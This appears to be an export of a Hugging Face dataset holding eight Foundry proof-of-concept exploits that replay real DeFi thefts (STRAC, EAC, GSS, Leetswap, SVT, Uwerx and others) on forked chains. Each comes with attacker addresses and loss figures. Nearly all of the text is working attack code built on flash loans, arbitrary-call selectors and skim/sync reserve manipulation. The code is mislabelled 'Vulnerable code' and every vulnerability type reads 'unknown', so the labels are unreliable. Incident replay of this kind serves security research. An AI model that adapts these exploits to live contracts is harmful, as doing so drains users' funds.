Farseen0/scar-pairs huggingface dataset:
HIGH severity: STRAC exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~13 $ETH Attacker : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3 Attack Contract : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3 Vulnerable Contract : https://bscscan.com/address/0x1f90bdeb

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~13 $ETH
// Attacker : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3
// Attack Contract : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3
// Vulnerable Contract : https://bscscan.com/address/0x1f90bdeb5674833868ee9b36707b929024e7a513
// Attack Tx : https://bscscan.com/tx/0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IERC20 STRAC = IERC20(0x9801DA0AA142749295692c7cb3241E4EE2B80Bda);
    IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
    IPancakePair ETH_STRAC_LpPool = IPancakePair(0x2976bD3774622367CE7A575D28201480e640966F);
    IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x3870D09F59564d8b86B052b1FB1e27b961f9BC73));
    address Contract_0x1f90 = 0x1F90BDeB5674833868EE9b36707B929024E7A513;

    function setUp() public {
        vm.createSelectFork("bsc", 29_474_566 - 1);
        vm.label(address(STRAC), "STRAC");
        vm.label(address(Contract_0x1f90), "Contract_0x1f90");
    }

    function testExploit() public {
        STRAC.approve(address(PancakeRouter), type(uint256).max);
        emit log_named_decimal_uint("Attacker ETH balance before attack", ETH.balanceOf(address(this)), 18);
        Contract_0x1f90.call(
            abi.encodeWithSelector(bytes4(0x4a75084c), address(this), STRAC, STRAC.balanceOf(address(Contract_0x1f90)))
        );
        TOKENToETH();
        emit log_named_decimal_uint("Attacker ETH balance after attack", ETH.balanceOf(address(this)), 18);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        return true;
    }

    function TOKENToETH() internal {
        (uint256 reserveETH, uint256 reserveTOKEN,) = ETH_STRAC_LpPool.getReserves();
        uint256 amountOut;

        (uint256 reserveETH_after, uint256 reserveTOKEN_after,) = ETH_STRAC_LpPool.getReserves();

        amountOut = PancakeRouter.getAmountOut(STRAC.balanceOf(address(this)), reserveTOKEN, reserveETH);
        STRAC.transfer(address(ETH_STRAC_LpPool), STRAC.balanceOf(address(this)));
        ETH_STRAC_LpPool.swap(amountOut * 997 / 1000, 0, address(this), "");
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: UnverifiedContr_9ad32 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : ~5955  USD TX : https://app.blocksec.com/explorer/tx/bsc/0xe1bf84b7a57498c0573361b20b16077cc933e4c47aa0821bcea5b158a60ef505 Attacker : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d Attack Contract : https://bscscan

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~5955  USD
// TX : https://app.blocksec.com/explorer/tx/bsc/0xe1bf84b7a57498c0573361b20b16077cc933e4c47aa0821bcea5b158a60ef505
// Attacker : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d
// Attack Contract : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d
// GUY : https://x.com/DecurityHQ/status/1673708133926031360

contract Exploit is Test {
    address Vulncontract = 0xAC899Ef647533E0dE91E269202f1169d7D47Ae92;
    IDPPOracle DPPOracle = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);

    function setUp() public {
        vm.createSelectFork("bsc", 29_469_587);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);

        DPPOracle.flashLoan(0, 1_243_763_239_827_755_213_151_683, address(this), abi.encode(address(this)));
        emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        BUSD.approve(address(Vulncontract), 9999 ether);
        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xe2bbb158), 0, 5_955_466_788_004_705_247_296));
        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xc3490263), 0, 5_955_466_788_004_705_247_296));

        BUSD.transferFrom(address(Vulncontract), address(this), 5_955_466_788_004_705_247_296);

        BUSD.transfer(address(msg.sender), quoteAmount);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: USDTStakingContract28 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : ~20999 USD TX : https://app.blocksec.com/explorer/tx/eth/0xfc872bf5ca8f04b18b82041ec563e4abf2e31e1fc27d1ea5dee39bc8a79d2d06 Attacker : https://etherscan.io/address/0x000000915f1b10b0ef5c4efe696ab65f13f36e74 Attack Contract : https://ethers

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~20999 USD
// TX : https://app.blocksec.com/explorer/tx/eth/0xfc872bf5ca8f04b18b82041ec563e4abf2e31e1fc27d1ea5dee39bc8a79d2d06
// Attacker : https://etherscan.io/address/0x000000915f1b10b0ef5c4efe696ab65f13f36e74
// Attack Contract : https://etherscan.io/address/0xb754ebdba9b009113b4cf445a7cb0fc9227648ad
// GUY : https://x.com/DecurityHQ/status/1680117291013267456

interface USDTStakingContract28 {
    function tokenAllowAll(address asset, address allowee) external;
}

interface CheatCodesNew {
    /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,
    /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.
    function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
}

contract ContractTest is Test {
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    USDTStakingContract28 Stake = USDTStakingContract28(0x800cfD4A2ba8CE93eA2cc814Fce26c3635169017);
    Money money;

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_696_562);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Begin] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 6);
        money = new Money();
        money.attack();
        emit log_named_decimal_uint(
            "[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
        );
    }

    fallback() external payable {}
}

contract Money {
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    USDTStakingContract28 Stake = USDTStakingContract28(0x800cfD4A2ba8CE93eA2cc814Fce26c3635169017);
    address owner;

    constructor() {
        owner = msg.sender;
    }

    function attack() public {
        Stake.tokenAllowAll(address(USDT), address(this));
        address(USDT).call(
            abi.encodeWithSelector(
                bytes4(0x23b872dd), address(Stake), address(msg.sender), USDT.balanceOf(address(Stake))
            )
        );
    }
}


Vulnerability type: unknown
HIGH severity: EAC exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~$29BNB Attacker : https://bscscan.com/address/0x27e981348c2d1f5b2227c182a9d0ed46eed84946 Attack Contract : https://bscscan.com/address/0x20dcf125f0563417d257b98a116c3fea4f0b2db2 Attack Tx : https://bscscan.com/tx/0x477f9ee698ac8ae800ffa012

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$29BNB
// Attacker : https://bscscan.com/address/0x27e981348c2d1f5b2227c182a9d0ed46eed84946
// Attack Contract : https://bscscan.com/address/0x20dcf125f0563417d257b98a116c3fea4f0b2db2
// Attack Tx : https://bscscan.com/tx/0x477f9ee698ac8ae800ffa012ab52fd8de39b58996245c5e39a4233c1ae5f1baa

// @Analysis
// Twitter Guy : https://twitter.com/bbbb/status/1696520866564350157

contract ContractTest is Test {
    address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;
    address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address private constant dodo_pool = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;

    address private constant proxy = 0xa08a40e0F11090Dcb09967973DF82040bFf63561;
    address private constant eac = 0x64f291DE10eCd36D5f7b64aaEbC70943CFACE28E;

    function setUp() public {
        vm.createSelectFork("bsc", 31_273_019 - 1);
        vm.label(usdt, "USDT");
        vm.label(eac, "EAC");
        vm.label(pancakeRouterV2, "PANCAKE_ROUTER_V2");
        vm.label(dodo_pool, "DODOPool");
    }

    function testExploit() public {
        IDPPOracle(dodo_pool).flashLoan(0, 300_000_000_000_000_008_388_608, address(this), new bytes(1));
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        swap(usdt, eac, IERC20(usdt).balanceOf(address(this)));
        proxy.call(abi.encodeWithSelector(0xe6a24c3f, IERC20(usdt).balanceOf(proxy)));
        swap(eac, usdt, IERC20(eac).balanceOf(address(this)));
        // pay back
        IERC20(usdt).transfer(msg.sender, 300_000_000_000_000_008_388_608);
        emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18);
    }

    function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
        IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = tokenIn;
        path[1] = tokenOut;
        IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn, 0, path, address(this), block.timestamp + 1000
        );
    }
}


Vulnerability type: unknown
HIGH severity: GSS exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~$24883 USD$ Attacker : https://bscscan.com/address/0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d Attack Contract : https://bscscan.com/address/0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c Attack Tx : https://bscscan.com/tx/0x4f8cb9efb3cc9930bd3

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$24883 USD$
// Attacker : https://bscscan.com/address/0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d
// Attack Contract : https://bscscan.com/address/0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c
// Attack Tx : https://bscscan.com/tx/0x4f8cb9efb3cc9930bd38af5f5d34d15ce683111599a80df7ae50b003e746e336

// @Analysis
// Twitter Guy : https://twitter.com/bbbb/status/1694571228185723099

contract ContractTest is Test {
    address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;
    address private constant gss = 0x37e42B961AE37883BAc2fC29207A5F88eFa5db66;
    address private constant gss_usdt_pool = 0x1ad2cB3C2606E6D5e45c339d10f81600bdbf75C0;
    address private constant gss_gssdao_pool = 0xB4F4cD1cc2DfF1A14c4Aaa9E9434A92082855C64;
    address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address private constant dodo_pool = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;

    function setUp() public {
        vm.createSelectFork("bsc", 31_108_559 - 1);
        vm.label(usdt, "USDT");
        vm.label(gss, "GSS");
        vm.label(gss_usdt_pool, "GSS_USDT_POOL");
        vm.label(gss_gssdao_pool, "GSS_GSSDAO_POOL");
        vm.label(pancakeRouterV2, "PANCAKE_ROUTER_V2");
        vm.label(dodo_pool, "DODOPool");
    }

    function testExploit() public {
        IDPPOracle(dodo_pool).flashLoan(0, 30_000 ether, address(this), new bytes(1));
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        swap(usdt, gss, 30_000 ether);
        IERC20(gss).transfer(gss_usdt_pool, 707_162_351_662_098_288_993_328);

        IPancakePair(gss_usdt_pool).skim(gss_gssdao_pool);
        IPancakePair(gss_usdt_pool).sync();
        IPancakePair(gss_gssdao_pool).skim(address(this));

        swap(gss, usdt, IERC20(gss).balanceOf(address(this)));

        // pay back
        IERC20(usdt).transfer(msg.sender, 30_000 ether);
        emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18);
    }

    function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
        IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = tokenIn;
        path[1] = tokenOut;
        IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn, 0, path, address(this), block.timestamp + 1000
        );
    }
}


Vulnerability type: unknown
HIGH severity: Leetswap exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~630K USD$ Attacker : https://basescan.org/address/0x705f736145bb9d4a4a186f4595907b60815085c3 Attack Contract : https://basescan.org/address/0xea8f89f47f3d4293897b4fe8cb69b5c233b9f560 Vulnerable Contract : https://basescan.org/address/0x94d

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~630K USD$
// Attacker : https://basescan.org/address/0x705f736145bb9d4a4a186f4595907b60815085c3
// Attack Contract : https://basescan.org/address/0xea8f89f47f3d4293897b4fe8cb69b5c233b9f560
// Vulnerable Contract : https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf
// Attack Tx : https://basescan.org/tx/0xbb837d417b76dd237b4418e1695a50941a69259a1c4dee561ea57d982b9f10ec

// @Info
// Vulnerable Contract Code : https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf#code

// @Analysis
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1686217464051539968
// Twitter Guy : https://twitter.com/peckshield/status/1686209024587710464

interface ILeetSwapPiar {
    function _transferFeesSupportingTaxTokens(address token, uint256 amount) external returns (uint256);

    function sync() external;
}

contract ContractTest is Test {
    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
    IERC20 axlUSDC = IERC20(0xEB466342C4d449BC9f53A865D5Cb90586f405215);
    Uni_Router_V2 Router = Uni_Router_V2(0xfCD3842f85ed87ba2889b4D35893403796e67FF1);
    ILeetSwapPiar Pair = ILeetSwapPiar(0x94dAC4a3Ce998143aa119c05460731dA80ad90cf);

    function setUp() public {
        vm.createSelectFork("base", 2_031_746);
        vm.label(address(WETH), "WETH");
        vm.label(address(axlUSDC), "axlUSDC");
        vm.label(address(Router), "Router");
        vm.label(address(Pair), "Piar");
    }

    function testExploit() external {
        deal(address(WETH), address(this), 0.001 ether);
        WETH.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(WETH);
        path[1] = address(axlUSDC);

        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            0.001 ether, 0, path, address(this), block.timestamp
        );

        Pair._transferFeesSupportingTaxTokens(address(axlUSDC), axlUSDC.balanceOf(address(Pair)) - 100);
        Pair.sync();

        axlUSDC.approve(address(Router), type(uint256).max);
        path[0] = address(axlUSDC);
        path[1] = address(WETH);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            axlUSDC.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );

        emit log_named_decimal_uint(
            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
        );
    }
}


Vulnerability type: unknown
HIGH severity: SVT exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/Phalcon_xyz/status/1695285435671392504?s=20 @TX https://bscscan.com/tx/0xf2a0c957fef493af44f55b201fbc6d82db2e4a045c5c856bfe3d8cb80fa30c12

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/Phalcon_xyz/status/1695285435671392504?s=20
// @TX
// https://bscscan.com/tx/0xf2a0c957fef493af44f55b201fbc6d82db2e4a045c5c856bfe3d8cb80fa30c12

interface ISVTpool {
    function buy(
        uint256 amount
    ) external;
    function sell(
        uint256 amount
    ) external;
}

contract ContractTest is Test {
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 SVT = IERC20(0x657334B4FF7bDC4143941B1F94301f37659c6281);
    ISVTpool pool = ISVTpool(0x2120F8F305347b6aA5E5dBB347230a8234EB3379);
    address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 31_178_238 - 1);
    }

    function testExploit() public {
        BUSD.approve(address(pool), type(uint256).max);
        SVT.approve(address(pool), type(uint256).max);
        uint256 flash_amount = BUSD.balanceOf(dodo);
        DVM(dodo).flashLoan(0, flash_amount, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        // Buy SVT with BUSD
        uint256 amount = BUSD.balanceOf(address(this));
        pool.buy(amount / 2);
        uint256 svtBalance1 = SVT.balanceOf(address(this));
        pool.buy(amount - amount / 2);
        uint256 svtBalance2 = SVT.balanceOf(address(this)) - svtBalance1;
        console2.log(svtBalance2);
        console2.log(svtBalance1);
        // Sell SVT for BUSD
        pool.sell(svtBalance2);
        pool.sell(SVT.balanceOf(address(this)) * 62 / 100);

        BUSD.transfer(dodo, quoteAmount);
    }
}


Vulnerability type: unknown
HIGH severity: Uwerx exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~176 ETH Attacker : https://etherscan.io/address/0x6057a831d43c395198a10cf2d7d6d6a063b1fce4 Attack Contract : https://etherscan.io/address/0xda2ccfc4557ba55eada3cbebd0aeffcf97fc14ca Vulnerable Contract : https://etherscan.io/token/0x4306b12

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~176 ETH
// Attacker : https://etherscan.io/address/0x6057a831d43c395198a10cf2d7d6d6a063b1fce4
// Attack Contract : https://etherscan.io/address/0xda2ccfc4557ba55eada3cbebd0aeffcf97fc14ca
// Vulnerable Contract : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54
// Attack Tx : https://etherscan.io/tx/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8
// Detail : https://explorer.phalcon.xyz/tx/eth/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8

// @Info
// Vulnerable Contract Code : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54

// @Analysis
// Twitter Guy : https://twitter.com/deeberiroz/status/1686683788795846657

contract ContractTest is Test {
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 WERX = IERC20(0x4306B12F8e824cE1fa9604BbD88f2AD4f0FE3c54);
    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    Uni_Pair_V2 pair = Uni_Pair_V2(0xa41529982BcCCDfA1105C6f08024DF787CA758C4);

    function setUp() public {
        vm.createSelectFork("mainnet", 17_826_202);
        vm.label(address(WETH), "WETH");
        vm.label(address(WERX), "WERX");
        vm.label(address(Router), "Router");
        vm.label(address(pair), "pair");
    }

    function testExploit() external {
        // mock a flash loan for simplicity
        deal(address(WETH), address(this), 20_000 ether);
        WETH.approve(address(Router), type(uint256).max);
        WERX.approve(address(Router), type(uint256).max);

        pair.sync();

        address[] memory path = new address[](2);
        path[0] = address(WETH);
        path[1] = address(WERX);

        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            20_000 ether, 0, path, address(this), block.timestamp
        );

        WERX.transfer(address(pair), 4_429_817_738_575_912_760_684_500);

        pair.skim(address(0x01));
        pair.sync();

        path[0] = address(WERX);
        path[1] = address(WETH);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WERX.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );

        emit log_named_decimal_uint(
            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
        );

        emit log_named_decimal_uint(
            "Attacker WETH balance after exploit, ETH PROFIT",
            WETH.balanceOf(address(this)) - 20_000 ether,
            WETH.decimals()
        );
    }
}


Vulnerability type: unknown